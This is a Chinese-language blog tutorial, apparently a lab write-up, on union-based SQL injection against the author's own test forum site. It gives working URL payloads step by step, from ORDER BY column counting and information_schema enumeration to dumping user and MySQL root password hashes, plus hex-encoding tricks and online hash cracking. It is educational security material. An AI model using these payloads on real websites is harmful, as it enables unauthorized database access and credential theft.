【SQL注入-03】union联合查询注入案例

目录

  • 1 union联合查询注入概述
    • 1.1 简介
    • 1.2 适用条件
    • 1.3 注入步骤
    • 1.4 注入技巧
  • 2 union联合查询注入案例
    • 2.1 操作环境
    • 2.2 操作具体步骤
      • 2.2.1 判断是否存在注入点及注入的类型
      • 2.2.2 使用ORDER BY 查询回显列数。
      • 2.2.3 判断显示位置
      • 2.2.4 获取数据库名
      • 2.2.5 获取数据库中的所有表名
      • 2.2.6 获取数据库的对应表中的所有字段名
      • 2.2.7 获取字段中的数据
  • 3 总结

本博客内容仅供学习探讨,请勿滥用乱用

1 union联合查询注入概述

1.1 简介

union查询注入是最基础的注入。在SQL中, UNION 操作符用于合并两个或多个 SELECT 语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。联合查询会“纵向”拼接两个或多个 SELECT 语句的结果。

1.2 适用条件

(1)网页存在注入点,有回显。
(2)需要满足union语句要求,即:

  • union前后两个select的结果集应具有相同列数
  • union前后两个select的结果集对应列应是相同数据类型

注意,当数据类型为字符时,可以使用编码将字符转化为数字类型。

1.3 注入步骤

(1)首先判断是否存在注入点注入的类型
(2)使用ORDER BY 查询列数、观察回显的位置。
(3)获取数据库名。
(4)获取数据库中的所有表名。
(5)获取数据库的表中的所有字段名
(6)获取字段中的数据。

1.4 注入技巧

在最后一个select语句后可以使用 order by 或 limit 等SQL语句对查询进行限制和调整。

2 union联合查询注入案例

2.1 操作环境

实验靶场——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》

注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
在这里插入图片描述

2.2 操作具体步骤

在执行sql语句的时候,可以考虑火狐浏览器的插件HackBar Quantum。

2.2.1 判断是否存在注入点及注入的类型

在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在SQL注入点以及注入类型,如是否是字符型还是数值型,是否有布尔状态,是否存在延迟注入等。首先用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。然后判断是否存在注入点及注入的类型。
在这里插入图片描述
在这里插入图片描述
(1)将参数修改为?id=5,并刷新,看到页面变化如下,弹出第5条留言内容,由此可推测见后台是根据id参数的不同来反馈不同信息,因此推测留言内容极有可能是存在数据库中,可控参数id与数据库存在交互,很可能存在sql注入。
在这里插入图片描述
(2)判断注入类型为字符型还是数字型。将参数修改为?id=5'id=5"并刷新,看到页面变化如下。说明此注入点可能为数字型注入。
在这里插入图片描述

  • 出现上述这种报错信息,错误发生在单引号附近,说明此注入点可能为数字型注入。具体分析如下:
    猜测原sql语句可能为:select * from table where id=$id。假如id为数字型,则sql语句为select * from table where id=5,当输入?id=5‘,时,sql语句变为select * from table where id=5',说明单引号之前都是正确的,说明单引号是多余的。

2.2.2 使用ORDER BY 查询回显列数。

(1)order by 语句为按某一列的顺序进行排序,在此处我们利用该语句来判断select查询结果集中有多少列,当order by 参数超过其结果集列数时,会出错。修改参数为?id=5 order by 2,结果与?id=5一样,可以猜测是回显数据至少有2列。(order by 2指按照第2列进行排序)
【SQL注入-03】union联合查询注入案例_第1张图片
(2)修改参数为?id=5 order by 列数,列数依次增加。当参数修改为?id=5 order by 4,回显结果正常,但是当参数修改为?id=5 order by 5,出现报错结果,说明当前select语句查询结果中字段个数为4,即有4列
【SQL注入-03】union联合查询注入案例_第2张图片
【SQL注入-03】union联合查询注入案例_第3张图片
(3)当ORDER BY 无法使用时,也可以用?id=5 union select 1,2,3,4?id=5 union select null,null,null,null,当使回显结果与?id=5一致时,数数字的个数或者null的个数,即为列数。

2.2.3 判断显示位置

得到字段个数后,可以尝试构造联合查询语句。
这里我并不知道表明,根据mysql数据库特性,select语句在执行过程中,并不需要指定表名。
(1)我们构造union select语句为?id=5 union select 1,2,3,4。试图显示联合查询的内容,结果发现与原来一致,这是因为id=5为真,后台返回了id=5的页面时就占用了页面可以显示的区域,导致第二个select语句的结果集无法显示。
【SQL注入-03】union联合查询注入案例_第4张图片

(2)我们可以考虑让union前一句语句的查询为假,没有回显内容,则后台将返回第二个select语句的结果集。因此构造sql语句:?id=-5 union select 1,2,3,4.可以看到第2第3第4个参数均显示出来,这三个参数可以用来查询后台的一些信息。
【SQL注入-03】union联合查询注入案例_第5张图片

(3)我们可以构造sql语句为?id=-5 union select 1,2,3,version(),来利用第4个显示位带回后台的版本信息。至此我们成功利用union语句带回了WEB开发者意愿之外的内容。

tips:

select 1,2,3,4

只有该条语句时执行结果如下:
【SQL注入-03】union联合查询注入案例_第6张图片

2.2.4 获取数据库名

(1)我们可以构造sql语句为?id=-5 union select 1,2,version(),database(),来利用第3个和4个显示位带回后台的该网站所在数据库信息。可以看到确实是我们搭建网站时所用的数据库。
【SQL注入-03】union联合查询注入案例_第7张图片

(2)在《【SQL注入-01】SQL语句基础及SQL注入漏洞原理及分类》中我们知道,元数据库中有个表schemata记录所有数据库的信息。该表中字段名schema_name记录着所有数据库的名字,我们可以通过该表获取其他数据库信息。我们修改参数为?id=-5 union select 1,2,3,group_concat(schema_name) from information_schema.schemata,回显如下,带回了该服务器所有数据库名字,包括该站点之外的数据库也可以看到,说明union联合查询可以跨库查询
【SQL注入-03】union联合查询注入案例_第8张图片

2.2.5 获取数据库中的所有表名

注意,在元数据库中,有information_schema.tables表格存放着所有表格的信息,其中有table_schema字段记录表格所属数据库,有table_name记录着表格名字。union联合查询可以跨库跨表查询
(1)获取jrlt数据库下的所有表名。我们构造sql语句为?id=-5 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = database()来获取当前数据库下的所有表名。注意,在页面中尽量避免使用字符串,因此用函数database()来代替上节中查到的数据库名。users表中可能存在用户账密。(也可以用该sql语句:?id=-5 union select 1,2,3,hex(table_name) from information_schema.tables where table_schema = database(),hex为16进制编码,之后用burp suite进行解码)。
【SQL注入-03】union联合查询注入案例_第9张图片

(2)获取mysql数据库下的所有表名。根据上节我们查到的所有数据库名,猜测数据库管理员的账密可能存在mysql数据库下,因此我们构造sql语句为?id=-5 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = 'mysql'来获取mysql数据库下的所有表名,其中mysql前后需要加上单引号表示为字符串。可以看到返回了该数据库下所有表名,这些是跨出了我们访问的站点之外的表,看到其中有一个表名为user,可能会记录着敏感信息。注意,上述sql语句中使用了单引号,为了避免单引号的使用,我们一般把字符转换成16进制编码,即?id=-5 union select 1,2,version(),group_concat(table_name) from information_schema.tables where table_schema=0x6d7973716c,其中0x为了说明是16进制,6d7973716c为mysql的16进制。
【SQL注入-03】union联合查询注入案例_第10张图片
【SQL注入-03】union联合查询注入案例_第11张图片

2.2.6 获取数据库的对应表中的所有字段名

在元数据库中,有information_schema.colunms存储所有字段信息。该表主要字段名如下:

  • TABLE_SCHEMA:记录该字段名属于哪个数据库。
  • TABLE_NAME:记录该字段属于哪个表。
  • COLUMN_NAME:记录该字段名。

(1)获取jrlt数据库下对应表中的的所有字段名。在jrlt数据库中,在上述查询后我们知道有一个表名为users,我们构造sql语句为为?id=-5 union select 1,2,version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273来获取users表的字段名。其中,0x7573657273为users的16进制,是为了避免出现单双引号。可以看到里面有name和password两个字段,这是下一步我们要获取的目标。
【SQL注入-03】union联合查询注入案例_第12张图片

(2)获取mysql数据库下对应表中的的所有字段名。同样的,在mysql数据库中有一个表名为user,我们构造sql语句为为?id=-5 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=0x6d7973716c and table_name =0x75736572来获取该表的字段名。其中,mysql数据库名和user表名采用16进制表示。可以看到里面有User和Password两个字段,这是下一步我们要获取的目标。
【SQL注入-03】union联合查询注入案例_第13张图片

2.2.7 获取字段中的数据

(1)获取jrlt数据库下的想要的字段内容。

  • 我们构造sql语句为?id=-5 union select 1,2,3,concat(name,':',password) from users来获取users表中的两个字段内容。其中a是账号名,后面那一串是经过加密后的密码。注意,参数中的冒号可以转为使用16进制编码,如将’:'改为0x3a。
    【SQL注入-03】union联合查询注入案例_第14张图片

  • 此处用户密码没有加密。但是一般的密码均会进行加密,将加密后的密文复制到https://www.cmd5.com/网页中可以进行在线解密。

  • 在上述命令中,我们查询到的是第一个账户和密码,可以使用limit显示select查询的是第几个。修改参数为?id=-5 union select 1,2,3,concat(name,0x3a,password) from users limit 1,1,limit第一个参数是偏移量,偏移量1表示第二个账户,第二个参数是个数,表示一个。
    【SQL注入-03】union联合查询注入案例_第15张图片

(2)获取mysql数据库下的想要的字段内容。

  • 参考上面的方法跨库查询mysql数据库下user表的字段,构造sql语句为为?id=-5 union select 1,2,version(),concat(User,0x3a,Password) from mysql.user,返回账户名和加密后的密码。

【SQL注入-03】union联合查询注入案例_第16张图片

  • 将密文进行在线解密,如下:
    【SQL注入-03】union联合查询注入案例_第17张图片

3 总结

(1)理解union联合查询的限制条件;
(2)掌握union联合查询注入的原理及流程;
(3)查询语句中尽可能减少字符串的使用,可以通过使用SQL内置函数或转为16进制码避免字符串的使用。

你可能感兴趣的:(#,入门07,Web安全之渗透测试,union联合查询注入,sql注入)